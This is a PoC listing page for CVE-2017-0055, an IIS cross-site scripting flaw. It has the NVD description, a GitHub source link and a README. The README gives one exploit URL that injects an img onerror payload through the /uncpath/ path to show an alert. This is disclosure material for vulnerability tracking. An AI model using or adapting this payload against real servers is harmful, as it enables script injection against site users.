CVE-2017-0055 PoC — Microsoft Windows Internet Information Server 跨站脚本漏洞

Source

https://github.com/NetJBS/CVE-2017-0055-PoC

Associated Vulnerability

Title: Microsoft Windows Internet Information Server 跨站脚本漏洞 (CVE-2017-0055)
Description:Microsoft Internet Information Server (IIS) in Windows Vista SP2; Windows Server 2008 SP2 and R2; Windows 7 SP1; Windows 8.1; Windows Server 2012 Gold and R2; Windows RT 8.1; Windows 10 Gold, 1511, and 1607; and Windows Server 2016 allows remote attackers to perform cross-site scripting and run script with local user privileges via a crafted request, aka "Microsoft IIS Server XSS Elevation of Privilege Vulnerability."

Description

This it's a PoC of Departament of justice VDP. By rootkit

Readme


# CVE-2017-0055 PoC

MICROSOFT IIS 7.0/7.5/8.0/8.5/10 /UNCPATH/ CROSS SITE SCRIPTING

Reference: https://nvd.nist.gov/vuln/detail/CVE-2017-0055

Base Score: 6.1
Severity: Medium



## Exploit:
http://vulniis/uncpath/%3Cimg%20onerror=alert('xss')%20src=/%3E:/

File Snapshot

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →